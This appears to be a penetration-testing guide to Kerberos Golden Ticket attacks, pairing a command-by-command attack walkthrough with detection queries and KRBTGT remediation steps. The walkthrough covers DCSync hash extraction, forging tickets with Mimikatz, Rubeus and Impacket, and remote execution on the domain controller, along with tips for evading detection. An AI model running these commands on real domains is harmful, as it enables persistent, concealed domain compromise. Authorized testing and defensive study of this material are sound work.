
Golden Ticket Attacks and Persistence
Golden Ticket attack using the KRBTGT hash to forge Kerberos TGTs for persistent, privileged domain access.
Introduction
A Golden Ticket is a forged Ticket Granting Ticket (TGT) signed with the KRBTGT account's NTLM hash. The Key Distribution Center (KDC) trusts any TGT it can decrypt with its own KRBTGT key — there is no callback or online validation of ticket creation. The KDC assumes that if the ticket decrypts successfully, it was legitimately issued. This means an attacker who obtains the KRBTGT hash can fabricate TGTs for any account, including non-existent ones, with arbitrary group memberships and ticket lifetimes measured in years.
The attack is post-exploitation. You need domain compromise first — either DCSync rights on a domain account, code execution on a Domain Controller, or access to a copy of NTDS.dit. Once you have the KRBTGT hash, you have a persistence mechanism that survives password resets of every account except KRBTGT itself. Domain Admin accounts can be deleted and recreated; the Golden Ticket remains valid. Group memberships can be stripped; the forged PAC carries whatever groups you specified at ticket creation. The only remediation path is double-resetting KRBTGT, and that breaks Kerberos for all in-flight tickets.
The operational value is longevity. A Golden Ticket forged with a 10-year lifetime provides re-entry into any domain resource without touching LSASS again. Defenders rarely rotate KRBTGT; many environments have never done it. Even when they respond to an incident and rotate it once, the second rotation — required 10 hours later to invalidate all sessions — is frequently missed.
Authorized Testing Only
Golden Ticket techniques constitute unauthorized computer access outside an explicit penetration testing agreement. All examples below assume you hold a signed scope agreement covering the target domain. Do not run these against systems you do not own or have written permission to test.
Impact
- Unlimited domain persistence: Valid for the ticket lifetime regardless of any user account changes
- Arbitrary privilege escalation: Forge tickets for any RID including Domain Admins (RID 512), Enterprise Admins (RID 519), or Schema Admins (RID 518)
- Non-existent account access: Tickets for accounts that do not exist in AD are accepted until PAC validation catches them
- Cross-domain trust abuse: With SID history (
/sids), a child domain KRBTGT hash enables Enterprise Admin access to the forest root - Service ticket generation: A valid TGT enables requesting TGS tickets for any service in the domain — effectively bypassing all Kerberos-based access controls
- Offline ticket creation: No network traffic to the DC during forging; only ticket injection and service requests are visible
- Survives account lockout: The attacker never authenticates through normal channels post-injection
Technical Details
The Kerberos AS exchange normally works like this: a client sends an AS-REQ, the KDC validates pre-authentication, and returns a TGT encrypted with the KRBTGT key alongside a session key encrypted for the client. The KDC never stores issued tickets — it trusts decryption. When the client presents the TGT in a TGS-REQ, the KDC decrypts it, reads the PAC, and issues a service ticket. The Golden Ticket attack replaces the entire AS exchange by forging a TGT that passes KDC decryption.
The PAC (Privilege Attribute Certificate) embedded in the TGT contains the user's SID, group memberships, and a server signature (signed with KRBTGT key) and KDC signature. Without mandatory PAC validation enabled on services, the KDC signature is not re-verified on every TGS-REQ. Default Windows configurations do not enforce this.
Obtain the KRBTGT Hash via DCSync
DCSync abuses the DS-Replication-Get-Changes-All extended right. Any account with this right — Domain Admins, Enterprise Admins, or explicitly delegated accounts — can replicate directory changes including password hashes without touching LSASS on the DC.
# Run from a machine with domain admin equivalent
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgtExpected output:
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/15/2024 3:22:41 AM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID : 502
Credentials:
Hash NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
ntlm- 0: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
ntlm- 1: 9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k
lm - 0: aabbccddeeff00112233445566778899
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899
aes128_hmac (4096) : aabbccddeeff00112233445566778899Capture both the NTLM hash and the AES256 key. Use AES256 for forging to blend with modern environments — RC4/NTLM-forged tickets are easier to detect.
secretsdump.py corp.local/domainadmin:'P@ssw0rd!'@DC01.corp.local -just-dc-user krbtgtGather Domain Information
You need the domain SID and FQDN. The domain SID is embedded in every user SID — strip the last component (RID) from any user SID.
# Domain SID from current user
whoami /user
# Output: CORP\administrator S-1-5-21-3842939050-3880317879-2865463114-500
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114
# Via PowerShell AD module
(Get-ADDomain).DomainSID.Value
# Via WMIC
wmic useraccount where name='administrator' get sid# Using crackmapexec
crackmapexec smb DC01.corp.local -u domainadmin -p 'P@ssw0rd!' --sid
# Using ldapsearch
ldapsearch -x -H ldap://DC01.corp.local -D "domainadmin@corp.local" -w 'P@ssw0rd!' -b "DC=corp,DC=local" "(objectClass=domain)" objectSidForge the Golden Ticket
With the KRBTGT hash and domain SID, forge the TGT locally — no network traffic to the DC.
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,518,519,520,572 /pttkerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:500 /groups:512,518,519 /startoffset:0 /endin:600 /renewmax:10080 /pttKey parameters:
/user— username embedded in the ticket (does not need to exist)/id— RID; 500 = built-in Administrator, but any RID works/groups— comma-separated group RIDs embedded in the PAC/startoffset— minutes before now the ticket was "issued" (negative value backdates it)/endin— ticket lifetime in minutes (default 10 years if omitted)/renewmax— max renewal lifetime in minutes/ptt— inject directly into current session (alternatively save to file with/ticket:golden.kirbi)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /ticket:C:\Temp\golden.kirbiInject and Use the Ticket
kerberos::ptt C:\Temp\golden.kirbi
# Verify injection
klistExpected klist output after injection:
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ CORP.LOCAL
Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 6/23/2026 14:30:00 (local)
End Time: 6/23/2036 14:30:00 (local)
Renew Time: 6/23/2036 14:30:00 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:The 10-year End Time is a detection indicator. Match the domain's Maximum ticket lifetime GPO value (typically 10 hours) using /endin:600 to reduce anomaly scoring.
# List DC filesystem
dir \\DC01.corp.local\C$
# Remote code execution
PsExec.exe \\DC01.corp.local -s cmd.exe
# DCSync again (persistence loop)
lsadump::dcsync /domain:corp.local /all /csvAttack Tools
Mimikatz kerberos::golden is the canonical Golden Ticket tool. Runs on Windows, requires SeDebugPrivilege.
# Elevate
privilege::debug
# DCSync for KRBTGT hash
lsadump::dcsync /domain:corp.local /user:krbtgt
# Forge and inject (RC4)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,519 /ptt
# Forge and inject (AES256 — more stealthy)
kerberos::golden /user:svc-nonexistent /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:1337 /groups:512,519 /endin:600 /renewmax:10080 /ptt
# Cross-domain with SID history (child -> forest root)
kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:<child_krbtgt_hash> /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /id:500 /ptt
# Inject saved ticket
kerberos::ptt golden.kirbi
# List injected tickets
kerberos::listRubeus provides a pure .NET Kerberos toolkit. Less likely to be flagged by AV signatures than Mimikatz on some EDR configurations. Requires the KRBTGT hash separately (use Mimikatz or secretsdump for extraction).
# Forge and inject Golden Ticket (RC4)
Rubeus.exe golden /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /groups:512,519 /dc:DC01.corp.local /ptt
# Forge with AES256
Rubeus.exe golden /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /groups:512,519 /dc:DC01.corp.local /ptt
# Forge with realistic lifetime (match domain policy)
Rubeus.exe golden /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /startoffset:0 /endin:600 /renewmax:10080 /dc:DC01.corp.local /ptt
# Dump current tickets
Rubeus.exe klist
# Purge all tickets
Rubeus.exe purgeImpacket ticketer.py forges Golden Tickets from Linux. The resulting .ccache file is used with KRB5CCNAME for Impacket tools or converted with ticket_converter.py for Windows use.
# Forge Golden Ticket (RC4)
ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
-domain-sid S-1-5-21-3842939050-3880317879-2865463114 \
-domain corp.local \
-groups 512,519 \
Administrator
# Forge Golden Ticket (AES256)
ticketer.py -aesKey aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 \
-domain-sid S-1-5-21-3842939050-3880317879-2865463114 \
-domain corp.local \
Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
# SMB with Golden Ticket
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local
# WMI execution
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
# SecretsDump via ticket (DCSync equivalent)
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Convert ccache to kirbi for Windows use
ticket_converter.py Administrator.ccache Administrator.kirbiDetection
Golden Ticket detection requires monitoring for anomalies in Kerberos ticket attributes since the forging itself leaves no DC log entries — the AS exchange never happens.
Event IDs and Log Sources
| Event ID | Source | Indicator |
|---|---|---|
| 4769 | DC Security Log | Kerberos service ticket request — look for encryption type 0x17 (RC4) in AES-only environments |
| 4768 | DC Security Log | TGT request — absence of 4768 before 4769 suggests ticket injection |
| 4624 | Member server | Logon type 3 with Kerberos auth for accounts with no prior 4768 on DC |
| 4672 | Member server | Special privileges assigned to accounts not expected to have them |
| 4776 | DC Security Log | NTLM fallback — possible if ticket is rejected |
Critical anomalies to hunt:
- Ticket lifetime exceeding domain
Maximum ticket lifetimepolicy (default 10 hours / 600 min) - Ticket
Renew UntilexceedingMaximum ticket renewal lifetime(default 7 days) - Account name in ticket that has no corresponding AD object
- RC4 encryption type (0x17) on a domain enforcing AES
- Service ticket requests (4769) with no preceding TGT request (4768) from the same IP within the session window
SIEM Detection Queries
index=windows EventCode=4769
| eval ticket_lifetime_hours = (TicketEndTime - TicketStartTime) / 3600
| where ticket_lifetime_hours > 10
| stats count by TargetUserName, ServiceName, ClientAddress, ticket_lifetime_hours
| sort - ticket_lifetime_hoursindex=windows EventCode=4769 TicketEncryptionType=0x17
| stats count by TargetUserName, ServiceName, ClientAddress, _time
| where count > 0index=windows (EventCode=4768 OR EventCode=4769)
| eval is_tgt=if(EventCode=4768, 1, 0)
| eval is_tgs=if(EventCode=4769, 1, 0)
| stats sum(is_tgt) as tgt_count, sum(is_tgs) as tgs_count by TargetUserName, ClientAddress
| where tgs_count > 0 AND tgt_count = 0SecurityEvent
| where EventID == 4769
| extend TicketOptions = tostring(EventData.TicketOptions)
| extend EncType = tostring(EventData.TicketEncryptionType)
| where EncType == "0x17"
| summarize count() by Account, IpAddress, Computer, bin(TimeGenerated, 1h)
| where count_ > 5PAC Validation Anomalies
When ValidateKdcPacSignature is enabled (registry or KB5008380), the KDC re-signs the PAC on TGS requests. A forged ticket's PAC signature will fail re-verification, generating a Kerberos error (KRB_AP_ERR_MODIFIED, error code 0x29) logged in System event ID 4 on the KDC.
Enable PAC validation to surface these:
# On DCs and member servers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
-Name "ValidateKdcPacSignature" -Value 1 -Type DWordBehavioral Indicators
- An account authenticating to resources it has never accessed before, immediately after a privilege escalation indicator on another host
- LSASS memory access from non-standard processes on DC (precursor to DCSync or credential dump)
DS-Replication-Get-Changes-Alldirectory service access events (Event ID 4662) from a non-DC computer account
Remediation
Immediate Response
When a Golden Ticket is suspected, KRBTGT must be reset twice with a minimum of 10 hours between resets. The first reset invalidates tickets encrypted with the previous key. However, the KDC caches the previous KRBTGT password for backward compatibility — a single reset leaves the old key usable until the cached version expires (one Kerberos ticket maximum lifetime, 10 hours by default). The second reset removes that cached key.
Reset KRBTGT Password (First Reset)
# Using the Microsoft KRBTGT Reset Script (recommended)
# https://github.com/microsoft/New-KrbtgtKeys.ps1
.\New-KrbtgtKeys.ps1
# Or manually via PowerShell AD module
$NewPassword = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword -Reset
# Record the password change timestamp
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSetAfter the first reset, verify AD replication has completed across all DCs:
repadmin /replsummary
repadmin /showreplWait Minimum 10 Hours
The wait period must exceed the domain's Maximum ticket lifetime setting. Check the current value:
# From Default Domain Policy
Get-GPO -Name "Default Domain Policy" | Get-GPOReport -ReportType XML |
Select-String "MaxTicketAge|MaxRenewAge"
# Or check the Kerberos policy directly
[adsi]"LDAP://DC=corp,DC=local" | Select-Object -ExpandProperty MaxTicketAgeDo not skip this wait. If you reset twice in rapid succession, in-flight legitimate Kerberos sessions will break immediately because the DC no longer has the key to validate their tickets.
Reset KRBTGT Password (Second Reset)
# Second reset — run same procedure after 10+ hours
$NewPassword2 = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword2 -Reset
# Verify both old hashes are gone
lsadump::dcsync /domain:corp.local /user:krbtgt
# Check that ntlm-1 (previous password) does not match either pre-reset valueValidate and Monitor
# Confirm new KRBTGT hash
Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber |
Select-Object PasswordLastSet, msDS-KeyVersionNumber
# Force clients to get new tickets (purge cached tickets on endpoints)
# Via GPO or logoff/logon cycle
# Monitor for failed authentications during transition
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4771;StartTime=(Get-Date).AddHours(-1)} |
Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='FailCode';E={$_.Properties[4].Value}}Long-Term Hardening
Enforce AES encryption and disable RC4:
# Via Group Policy: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# "Network security: Configure encryption types allowed for Kerberos"
# Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
# Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5
# Or via registry on all DCs and member servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" `
-Name "SupportedEncryptionTypes" -Value 0x7FFFFFF8 -Type DWordRestrict DCSync permissions:
# Find accounts with DS-Replication-Get-Changes-All
(Get-ACL "AD:\DC=corp,DC=local").Access |
Where-Object {$_.ActiveDirectoryRights -like "*ExtendedRight*" -and $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"} |
Select-Object IdentityReference, ActiveDirectoryRightsEnforce Protected Users security group:
# Protected Users disables NTLM, DES, RC4 for members
# Enforces AES, limits TGT lifetime to 4 hours
Add-ADGroupMember -Identity "Protected Users" -Members Administrator, "Domain Admins" -Confirm:$falseEnable Credential Guard on DCs and privileged workstations to prevent LSASS credential extraction:
# Requires Secure Boot + UEFI + Virtualization-based security
# Via Group Policy: Computer Configuration > Administrative Templates >
# System > Device Guard > Turn On Virtualization Based Security
# Credential Guard Configuration: Enabled with UEFI lockReferences
MITRE ATT&CK Techniques
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1003.006 - OS Credential Dumping: DCSync
- T1078.002 - Valid Accounts: Domain Accounts
Tools Documentation
- Mimikatz —
kerberos::golden,lsadump::dcsync - Rubeus —
goldensubcommand - Impacket ticketer.py — Linux ticket forging
- Microsoft New-KrbtgtKeys.ps1 — Safe KRBTGT reset script
- ADSecurity: Golden Ticket Deep Dive — Sean Metcalf's original analysis
Next Steps
DnsAdmins Group Exploitation: From DNS to Domain Admin
Detailed walkthrough of DnsAdmins privilege escalation through DLL injection into DNS service, covering exploitation, cleanup, and mitigation strategies.
Kerberoasting Attack and Defense
Kerberoasting attack guide targeting AD service accounts. Extract and crack service tickets offline for privilege escalation and lateral movement.